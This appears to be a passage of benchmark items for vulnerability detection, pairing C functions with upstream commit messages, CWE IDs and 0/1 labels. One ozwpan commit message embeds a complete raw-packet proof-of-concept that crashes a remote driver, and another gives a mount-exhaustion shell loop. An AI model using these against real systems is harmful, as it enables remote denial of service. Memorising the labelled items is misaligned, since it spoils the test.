Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com>
CWE ID: | 0 | 23,555 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int cmp_extents_reverse(const void *a, const void *b)
{
const struct uid_gid_extent *e1 = a;
const struct uid_gid_extent *e2 = b;
if (e1->lower_first < e2->lower_first)
return -1;
if (e1->lower_first > e2->lower_first)
return 1;
return 0;
}
Commit Message: userns: also map extents in the reverse map to kernel IDs
The current logic first clones the extent array and sorts both copies, then
maps the lower IDs of the forward mapping into the lower namespace, but
doesn't map the lower IDs of the reverse mapping.
This means that code in a nested user namespace with >5 extents will see
incorrect IDs. It also breaks some access checks, like
inode_owner_or_capable() and privileged_wrt_inode_uidgid(), so a process
can incorrectly appear to be capable relative to an inode.
To fix it, we have to make sure that the "lower_first" members of extents
in both arrays are translated; and we have to make sure that the reverse
map is sorted *after* the translation (since otherwise the translation can
break the sorting).
This is CVE-2018-18955.
Fixes: 6397fac4915a ("userns: bump idmap limits to 340")
Cc: stable@vger.kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
Tested-by: Eric W. Biederman <ebiederm@xmission.com>
Reviewed-by: Eric W. Biederman <ebiederm@xmission.com>
Signed-off-by: Eric W. Biederman <ebiederm@xmission.com>
CWE ID: CWE-20 | 0 | 8,489 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static struct ctl_table *find_entry(struct ctl_table_header **phead,
struct ctl_dir *dir, const char *name, int namelen)
{
struct ctl_table_header *head;
struct ctl_table *entry;
struct rb_node *node = dir->root.rb_node;
while (node)
{
struct ctl_node *ctl_node;
const char *procname;
int cmp;
ctl_node = rb_entry(node, struct ctl_node, node);
head = ctl_node->header;
entry = &head->ctl_table[ctl_node - head->node];
procname = entry->procname;
cmp = namecmp(name, namelen, procname, strlen(procname));
if (cmp < 0)
node = node->rb_left;
else if (cmp > 0)
node = node->rb_right;
else {
*phead = head;
return entry;
}
}
return NULL;
}
Commit Message: sysctl: Drop reference added by grab_header in proc_sys_readdir
Fixes CVE-2016-9191, proc_sys_readdir doesn't drop reference
added by grab_header when return from !dir_emit_dots path.
It can cause any path called unregister_sysctl_table will
wait forever.
The calltrace of CVE-2016-9191:
[ 5535.960522] Call Trace:
[ 5535.963265] [<ffffffff817cdaaf>] schedule+0x3f/0xa0
[ 5535.968817] [<ffffffff817d33fb>] schedule_timeout+0x3db/0x6f0
[ 5535.975346] [<ffffffff817cf055>] ? wait_for_completion+0x45/0x130
[ 5535.982256] [<ffffffff817cf0d3>] wait_for_completion+0xc3/0x130
[ 5535.988972] [<ffffffff810d1fd0>] ? wake_up_q+0x80/0x80
[ 5535.994804] [<ffffffff8130de64>] drop_sysctl_table+0xc4/0xe0
[ 5536.001227] [<ffffffff8130de17>] drop_sysctl_table+0x77/0xe0
[ 5536.007648] [<ffffffff8130decd>] unregister_sysctl_table+0x4d/0xa0
[ 5536.014654] [<ffffffff8130deff>] unregister_sysctl_table+0x7f/0xa0
[ 5536.021657] [<ffffffff810f57f5>] unregister_sched_domain_sysctl+0x15/0x40
[ 5536.029344] [<ffffffff810d7704>] partition_sched_domains+0x44/0x450
[ 5536.036447] [<ffffffff817d0761>] ? __mutex_unlock_slowpath+0x111/0x1f0
[ 5536.043844] [<ffffffff81167684>] rebuild_sched_domains_locked+0x64/0xb0
[ 5536.051336] [<ffffffff8116789d>] update_flag+0x11d/0x210
[ 5536.057373] [<ffffffff817cf61f>] ? mutex_lock_nested+0x2df/0x450
[ 5536.064186] [<ffffffff81167acb>] ? cpuset_css_offline+0x1b/0x60
[ 5536.070899] [<ffffffff810fce3d>] ? trace_hardirqs_on+0xd/0x10
[ 5536.077420] [<ffffffff817cf61f>] ? mutex_lock_nested+0x2df/0x450
[ 5536.084234] [<ffffffff8115a9f5>] ? css_killed_work_fn+0x25/0x220
[ 5536.091049] [<ffffffff81167ae5>] cpuset_css_offline+0x35/0x60
[ 5536.097571] [<ffffffff8115aa2c>] css_killed_work_fn+0x5c/0x220
[ 5536.104207] [<ffffffff810bc83f>] process_one_work+0x1df/0x710
[ 5536.110736] [<ffffffff810bc7c0>] ? process_one_work+0x160/0x710
[ 5536.117461] [<ffffffff810bce9b>] worker_thread+0x12b/0x4a0
[ 5536.123697] [<ffffffff810bcd70>] ? process_one_work+0x710/0x710
[ 5536.130426] [<ffffffff810c3f7e>] kthread+0xfe/0x120
[ 5536.135991] [<ffffffff817d4baf>] ret_from_fork+0x1f/0x40
[ 5536.142041] [<ffffffff810c3e80>] ? kthread_create_on_node+0x230/0x230
One cgroup maintainer mentioned that "cgroup is trying to offline
a cpuset css, which takes place under cgroup_mutex. The offlining
ends up trying to drain active usages of a sysctl table which apprently
is not happening."
The real reason is that proc_sys_readdir doesn't drop reference added
by grab_header when return from !dir_emit_dots path. So this cpuset
offline path will wait here forever.
See here for details: http://www.openwall.com/lists/oss-security/2016/11/04/13
Fixes: f0c3b5093add ("[readdir] convert procfs")
Cc: stable@vger.kernel.org
Reported-by: CAI Qian <caiqian@redhat.com>
Tested-by: Yang Shukui <yangshukui@huawei.com>
Signed-off-by: Zhou Chengming <zhouchengming1@huawei.com>
Acked-by: Al Viro <viro@ZenIV.linux.org.uk>
Signed-off-by: Eric W. Biederman <ebiederm@xmission.com>
CWE ID: CWE-20 | 0 | 20,250 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int oz_clear_port_feature(struct usb_hcd *hcd, u16 wvalue, u16 windex)
{
struct oz_port *port;
u8 port_id = (u8)windex;
struct oz_hcd *ozhcd = oz_hcd_private(hcd);
unsigned clear_bits = 0;
if ((port_id < 1) || (port_id > OZ_NB_PORTS))
return -EPIPE;
port = &ozhcd->ports[port_id-1];
switch (wvalue) {
case USB_PORT_FEAT_CONNECTION:
oz_dbg(HUB, "USB_PORT_FEAT_CONNECTION\n");
break;
case USB_PORT_FEAT_ENABLE:
oz_dbg(HUB, "USB_PORT_FEAT_ENABLE\n");
clear_bits = USB_PORT_STAT_ENABLE;
break;
case USB_PORT_FEAT_SUSPEND:
oz_dbg(HUB, "USB_PORT_FEAT_SUSPEND\n");
break;
case USB_PORT_FEAT_OVER_CURRENT:
oz_dbg(HUB, "USB_PORT_FEAT_OVER_CURRENT\n");
break;
case USB_PORT_FEAT_RESET:
oz_dbg(HUB, "USB_PORT_FEAT_RESET\n");
break;
case USB_PORT_FEAT_POWER:
oz_dbg(HUB, "USB_PORT_FEAT_POWER\n");
clear_bits |= USB_PORT_STAT_POWER;
break;
case USB_PORT_FEAT_LOWSPEED:
oz_dbg(HUB, "USB_PORT_FEAT_LOWSPEED\n");
break;
case USB_PORT_FEAT_C_CONNECTION:
oz_dbg(HUB, "USB_PORT_FEAT_C_CONNECTION\n");
clear_bits = USB_PORT_STAT_C_CONNECTION << 16;
break;
case USB_PORT_FEAT_C_ENABLE:
oz_dbg(HUB, "USB_PORT_FEAT_C_ENABLE\n");
clear_bits = USB_PORT_STAT_C_ENABLE << 16;
break;
case USB_PORT_FEAT_C_SUSPEND:
oz_dbg(HUB, "USB_PORT_FEAT_C_SUSPEND\n");
break;
case USB_PORT_FEAT_C_OVER_CURRENT:
oz_dbg(HUB, "USB_PORT_FEAT_C_OVER_CURRENT\n");
break;
case USB_PORT_FEAT_C_RESET:
oz_dbg(HUB, "USB_PORT_FEAT_C_RESET\n");
clear_bits = USB_PORT_FEAT_C_RESET << 16;
break;
case USB_PORT_FEAT_TEST:
oz_dbg(HUB, "USB_PORT_FEAT_TEST\n");
break;
case USB_PORT_FEAT_INDICATOR:
oz_dbg(HUB, "USB_PORT_FEAT_INDICATOR\n");
break;
default:
oz_dbg(HUB, "Other %d\n", wvalue);
break;
}
if (clear_bits) {
spin_lock_bh(&port->port_lock);
port->status &= ~clear_bits;
spin_unlock_bh(&port->port_lock);
}
oz_dbg(HUB, "Port[%d] status = 0x%x\n",
port_id, ozhcd->ports[port_id-1].status);
return 0;
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189 | 0 | 24,226 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int vmx_get_msr_feature(struct kvm_msr_entry *msr)
{
switch (msr->index) {
case MSR_IA32_VMX_BASIC ... MSR_IA32_VMX_VMFUNC:
if (!nested)
return 1;
return vmx_get_vmx_msr(&vmcs_config.nested, msr->index, &msr->data);
default:
return 1;
}
return 0;
}
Commit Message: kvm: nVMX: Enforce cpl=0 for VMX instructions
VMX instructions executed inside a L1 VM will always trigger a VM exit
even when executed with cpl 3. This means we must perform the
privilege check in software.
Fixes: 70f3aac964ae("kvm: nVMX: Remove superfluous VMX instruction fault checks")
Cc: stable@vger.kernel.org
Signed-off-by: Felix Wilhelm <fwilhelm@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: | 0 | 15,967 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: SPL_METHOD(SplObjectStorage, removeAllExcept)
{
zval *obj;
spl_SplObjectStorage *intern = (spl_SplObjectStorage *)zend_object_store_get_object(getThis() TSRMLS_CC);
spl_SplObjectStorage *other;
spl_SplObjectStorageElement *element;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "O", &obj, spl_ce_SplObjectStorage) == FAILURE) {
return;
}
other = (spl_SplObjectStorage *)zend_object_store_get_object(obj TSRMLS_CC);
zend_hash_internal_pointer_reset(&intern->storage);
while (zend_hash_get_current_data(&intern->storage, (void **)&element) == SUCCESS) {
if (!spl_object_storage_contains(other, getThis(), element->obj TSRMLS_CC)) {
spl_object_storage_detach(intern, getThis(), element->obj TSRMLS_CC);
}
zend_hash_move_forward(&intern->storage);
}
zend_hash_internal_pointer_reset_ex(&intern->storage, &intern->pos);
intern->index = 0;
RETURN_LONG(zend_hash_num_elements(&intern->storage));
}
Commit Message:
CWE ID: | 0 | 19,156 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static u16 SQLITE_NOINLINE computeNumericType(Mem *pMem){
assert( (pMem->flags & (MEM_Int|MEM_Real))==0 );
assert( (pMem->flags & (MEM_Str|MEM_Blob))!=0 );
ExpandBlob(pMem);
if( sqlite3AtoF(pMem->z, &pMem->u.r, pMem->n, pMem->enc)==0 ){
return 0;
}
if( sqlite3Atoi64(pMem->z, &pMem->u.i, pMem->n, pMem->enc)==0 ){
return MEM_Int;
}
return MEM_Real;
}
Commit Message: sqlite: backport bugfixes for dbfuzz2
Bug: 952406
Change-Id: Icbec429742048d6674828726c96d8e265c41b595
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1568152
Reviewed-by: Chris Mumford <cmumford@google.com>
Commit-Queue: Darwin Huang <huangdarwin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#651030}
CWE ID: CWE-190 | 0 | 3,213 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void dec_mnt_namespaces(struct ucounts *ucounts)
{
dec_ucount(ucounts, UCOUNT_MNT_NAMESPACES);
}
Commit Message: mnt: Add a per mount namespace limit on the number of mounts
CAI Qian <caiqian@redhat.com> pointed out that the semantics
of shared subtrees make it possible to create an exponentially
increasing number of mounts in a mount namespace.
mkdir /tmp/1 /tmp/2
mount --make-rshared /
for i in $(seq 1 20) ; do mount --bind /tmp/1 /tmp/2 ; done
Will create create 2^20 or 1048576 mounts, which is a practical problem
as some people have managed to hit this by accident.
As such CVE-2016-6213 was assigned.
Ian Kent <raven@themaw.net> described the situation for autofs users
as follows:
> The number of mounts for direct mount maps is usually not very large because of
> the way they are implemented, large direct mount maps can have performance
> problems. There can be anywhere from a few (likely case a few hundred) to less
> than 10000, plus mounts that have been triggered and not yet expired.
>
> Indirect mounts have one autofs mount at the root plus the number of mounts that
> have been triggered and not yet expired.
>
> The number of autofs indirect map entries can range from a few to the common
> case of several thousand and in rare cases up to between 30000 and 50000. I've
> not heard of people with maps larger than 50000 entries.
>
> The larger the number of map entries the greater the possibility for a large
> number of active mounts so it's not hard to expect cases of a 1000 or somewhat
> more active mounts.
So I am setting the default number of mounts allowed per mount
namespace at 100,000. This is more than enough for any use case I
know of, but small enough to quickly stop an exponential increase
in mounts. Which should be perfect to catch misconfigurations and
malfunctioning programs.
For anyone who needs a higher limit this can be changed by writing
to the new /proc/sys/fs/mount-max sysctl.
Tested-by: CAI Qian <caiqian@redhat.com>
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
CWE ID: CWE-400 | 0 | 7,330 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int http_wait_for_request_body(struct session *s, struct channel *req, int an_bit)
{
struct http_txn *txn = &s->txn;
struct http_msg *msg = &s->txn.req;
/* We have to parse the HTTP request body to find any required data.
* "balance url_param check_post" should have been the only way to get
* into this. We were brought here after HTTP header analysis, so all
* related structures are ready.
*/
if (msg->msg_state < HTTP_MSG_CHUNK_SIZE) {
/* This is the first call */
if (msg->msg_state < HTTP_MSG_BODY)
goto missing_data;
if (msg->msg_state < HTTP_MSG_100_SENT) {
/* If we have HTTP/1.1 and Expect: 100-continue, then we must
* send an HTTP/1.1 100 Continue intermediate response.
*/
if (msg->flags & HTTP_MSGF_VER_11) {
struct hdr_ctx ctx;
ctx.idx = 0;
/* Expect is allowed in 1.1, look for it */
if (http_find_header2("Expect", 6, req->buf->p, &txn->hdr_idx, &ctx) &&
unlikely(ctx.vlen == 12 && strncasecmp(ctx.line+ctx.val, "100-continue", 12) == 0)) {
bo_inject(s->rep, http_100_chunk.str, http_100_chunk.len);
}
}
msg->msg_state = HTTP_MSG_100_SENT;
}
/* we have msg->sov which points to the first byte of message body.
* req->buf->p still points to the beginning of the message. We
* must save the body in msg->next because it survives buffer
* re-alignments.
*/
msg->next = msg->sov;
if (msg->flags & HTTP_MSGF_TE_CHNK)
msg->msg_state = HTTP_MSG_CHUNK_SIZE;
else
msg->msg_state = HTTP_MSG_DATA;
}
if (!(msg->flags & HTTP_MSGF_TE_CHNK)) {
/* We're in content-length mode, we just have to wait for enough data. */
if (req->buf->i - msg->sov < msg->body_len)
goto missing_data;
/* OK we have everything we need now */
goto http_end;
}
/* OK here we're parsing a chunked-encoded message */
if (msg->msg_state == HTTP_MSG_CHUNK_SIZE) {
/* read the chunk size and assign it to ->chunk_len, then
* set ->sov and ->next to point to the body and switch to DATA or
* TRAILERS state.
*/
int ret = http_parse_chunk_size(msg);
if (!ret)
goto missing_data;
else if (ret < 0) {
session_inc_http_err_ctr(s);
goto return_bad_req;
}
}
/* Now we're in HTTP_MSG_DATA or HTTP_MSG_TRAILERS state.
* We have the first data byte is in msg->sov. We're waiting for at
* least a whole chunk or the whole content length bytes after msg->sov.
*/
if (msg->msg_state == HTTP_MSG_TRAILERS)
goto http_end;
if (req->buf->i - msg->sov >= msg->body_len) /* we have enough bytes now */
goto http_end;
missing_data:
/* we get here if we need to wait for more data. If the buffer is full,
* we have the maximum we can expect.
*/
if (buffer_full(req->buf, global.tune.maxrewrite))
goto http_end;
if ((req->flags & CF_READ_TIMEOUT) || tick_is_expired(req->analyse_exp, now_ms)) {
txn->status = 408;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_408));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_CLITO;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_D;
goto return_err_msg;
}
/* we get here if we need to wait for more data */
if (!(req->flags & (CF_SHUTR | CF_READ_ERROR))) {
/* Not enough data. We'll re-use the http-request
* timeout here. Ideally, we should set the timeout
* relative to the accept() date. We just set the
* request timeout once at the beginning of the
* request.
*/
channel_dont_connect(req);
if (!tick_isset(req->analyse_exp))
req->analyse_exp = tick_add_ifset(now_ms, s->be->timeout.httpreq);
return 0;
}
http_end:
/* The situation will not evolve, so let's give up on the analysis. */
s->logs.tv_request = now; /* update the request timer to reflect full request */
req->analysers &= ~an_bit;
req->analyse_exp = TICK_ETERNITY;
return 1;
return_bad_req: /* let's centralize all bad requests */
txn->req.msg_state = HTTP_MSG_ERROR;
txn->status = 400;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_400));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
return_err_msg:
req->analysers = 0;
s->fe->fe_counters.failed_req++;
if (s->listener->counters)
s->listener->counters->failed_req++;
return 0;
}
Commit Message:
CWE ID: CWE-189 | 0 | 25,748 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: parse_ofp14_port_stats_ethernet_property(const struct ofpbuf *payload,
struct ofputil_port_stats *ops)
{
const struct ofp14_port_stats_prop_ethernet *eth = payload->data;
if (payload->size != sizeof *eth) {
return OFPERR_OFPBPC_BAD_LEN;
}
ops->stats.rx_frame_errors = ntohll(eth->rx_frame_err);
ops->stats.rx_over_errors = ntohll(eth->rx_over_err);
ops->stats.rx_crc_errors = ntohll(eth->rx_crc_err);
ops->stats.collisions = ntohll(eth->collisions);
return 0;
}
Commit Message: ofp-group: Don't assert-fail decoding bad OF1.5 group mod type or command.
When decoding a group mod, the current code validates the group type and
command after the whole group mod has been decoded. The OF1.5 decoder,
however, tries to use the type and command earlier, when it might still be
invalid. This caused an assertion failure (via OVS_NOT_REACHED). This
commit fixes the problem.
ovs-vswitchd does not enable support for OpenFlow 1.5 by default.
Reported-at: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=9249
Signed-off-by: Ben Pfaff <blp@ovn.org>
Reviewed-by: Yifeng Sun <pkusunyifeng@gmail.com>
CWE ID: CWE-617 | 0 | 5,558 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int prepare_sdp_description(FFServerStream *stream, uint8_t **pbuffer,
struct in_addr my_ip)
{
AVFormatContext *avc;
AVOutputFormat *rtp_format = av_guess_format("rtp", NULL, NULL);
AVDictionaryEntry *entry = av_dict_get(stream->metadata, "title", NULL, 0);
int i;
*pbuffer = NULL;
avc = avformat_alloc_context();
if (!avc || !rtp_format)
return -1;
avc->oformat = rtp_format;
av_dict_set(&avc->metadata, "title",
entry ? entry->value : "No Title", 0);
if (stream->is_multicast) {
snprintf(avc->filename, 1024, "rtp://%s:%d?multicast=1?ttl=%d",
inet_ntoa(stream->multicast_ip),
stream->multicast_port, stream->multicast_ttl);
} else
snprintf(avc->filename, 1024, "rtp://0.0.0.0");
for(i = 0; i < stream->nb_streams; i++) {
AVStream *st = avformat_new_stream(avc, NULL);
if (!st)
goto sdp_done;
avcodec_parameters_from_context(stream->streams[i]->codecpar, stream->streams[i]->codec);
unlayer_stream(st, stream->streams[i]);
}
#define PBUFFER_SIZE 2048
*pbuffer = av_mallocz(PBUFFER_SIZE);
if (!*pbuffer)
goto sdp_done;
av_sdp_create(&avc, 1, *pbuffer, PBUFFER_SIZE);
sdp_done:
av_freep(&avc->streams);
av_dict_free(&avc->metadata);
av_free(avc);
return *pbuffer ? strlen(*pbuffer) : AVERROR(ENOMEM);
}
Commit Message: ffserver: Check chunk size
Fixes out of array access
Fixes: poc_ffserver.py
Found-by: Paul Cher <paulcher@icloud.com>
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-119 | 0 | 10,983 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int mov_read_seek(AVFormatContext *s, int stream_index, int64_t sample_time, int flags)
{
MOVContext *mc = s->priv_data;
AVStream *st;
int sample;
int i;
if (stream_index >= s->nb_streams)
return AVERROR_INVALIDDATA;
st = s->streams[stream_index];
sample = mov_seek_stream(s, st, sample_time, flags);
if (sample < 0)
return sample;
if (mc->seek_individually) {
/* adjust seek timestamp to found sample timestamp */
int64_t seek_timestamp = st->index_entries[sample].timestamp;
for (i = 0; i < s->nb_streams; i++) {
int64_t timestamp;
MOVStreamContext *sc = s->streams[i]->priv_data;
st = s->streams[i];
st->skip_samples = (sample_time <= 0) ? sc->start_pad : 0;
if (stream_index == i)
continue;
timestamp = av_rescale_q(seek_timestamp, s->streams[stream_index]->time_base, st->time_base);
mov_seek_stream(s, st, timestamp, flags);
}
} else {
for (i = 0; i < s->nb_streams; i++) {
MOVStreamContext *sc;
st = s->streams[i];
sc = st->priv_data;
mov_current_sample_set(sc, 0);
}
while (1) {
MOVStreamContext *sc;
AVIndexEntry *entry = mov_find_next_sample(s, &st);
if (!entry)
return AVERROR_INVALIDDATA;
sc = st->priv_data;
if (sc->ffindex == stream_index && sc->current_sample == sample)
break;
mov_current_sample_inc(sc);
}
}
return 0;
}
Commit Message: avformat/mov: Fix DoS in read_tfra()
Fixes: Missing EOF check in loop
No testcase
Found-by: Xiaohei and Wangchu from Alibaba Security Team
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-834 | 0 | 3,002 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: create_spnego_ctx(void)
{
spnego_gss_ctx_id_t spnego_ctx = NULL;
spnego_ctx = (spnego_gss_ctx_id_t)
malloc(sizeof (spnego_gss_ctx_id_rec));
if (spnego_ctx == NULL) {
return (NULL);
}
spnego_ctx->magic_num = SPNEGO_MAGIC_ID;
spnego_ctx->ctx_handle = GSS_C_NO_CONTEXT;
spnego_ctx->mech_set = NULL;
spnego_ctx->internal_mech = NULL;
spnego_ctx->optionStr = NULL;
spnego_ctx->DER_mechTypes.length = 0;
spnego_ctx->DER_mechTypes.value = NULL;
spnego_ctx->default_cred = GSS_C_NO_CREDENTIAL;
spnego_ctx->mic_reqd = 0;
spnego_ctx->mic_sent = 0;
spnego_ctx->mic_rcvd = 0;
spnego_ctx->mech_complete = 0;
spnego_ctx->nego_done = 0;
spnego_ctx->internal_name = GSS_C_NO_NAME;
spnego_ctx->actual_mech = GSS_C_NO_OID;
check_spnego_options(spnego_ctx);
return (spnego_ctx);
}
Commit Message: Fix SPNEGO context aliasing bugs [CVE-2015-2695]
The SPNEGO mechanism currently replaces its context handle with the
mechanism context handle upon establishment, under the assumption that
most GSS functions are only called after context establishment. This
assumption is incorrect, and can lead to aliasing violations for some
programs. Maintain the SPNEGO context structure after context
establishment and refer to it in all GSS methods. Add initiate and
opened flags to the SPNEGO context structure for use in
gss_inquire_context() prior to context establishment.
CVE-2015-2695:
In MIT krb5 1.5 and later, applications which call
gss_inquire_context() on a partially-established SPNEGO context can
cause the GSS-API library to read from a pointer using the wrong type,
generally causing a process crash. This bug may go unnoticed, because
the most common SPNEGO authentication scenario establishes the context
after just one call to gss_accept_sec_context(). Java server
applications using the native JGSS provider are vulnerable to this
bug. A carefully crafted SPNEGO packet might allow the
gss_inquire_context() call to succeed with attacker-determined
results, but applications should not make access control decisions
based on gss_inquire_context() results prior to context establishment.
CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C
[ghudson@mit.edu: several bugfixes, style changes, and edge-case
behavior changes; commit message and CVE description]
ticket: 8244
target_version: 1.14
tags: pullup
CWE ID: CWE-18 | 1 | 25,083 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int iscsi_set_keys_to_negotiate(
struct iscsi_param_list *param_list,
bool iser)
{
struct iscsi_param *param;
param_list->iser = iser;
list_for_each_entry(param, ¶m_list->param_list, p_list) {
param->state = 0;
if (!strcmp(param->name, AUTHMETHOD)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, HEADERDIGEST)) {
if (iser == false)
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, DATADIGEST)) {
if (iser == false)
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, MAXCONNECTIONS)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, TARGETNAME)) {
continue;
} else if (!strcmp(param->name, INITIATORNAME)) {
continue;
} else if (!strcmp(param->name, TARGETALIAS)) {
if (param->value)
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, INITIATORALIAS)) {
continue;
} else if (!strcmp(param->name, TARGETPORTALGROUPTAG)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, INITIALR2T)) {
SET_PSTATE_NEGOTIATE(param);
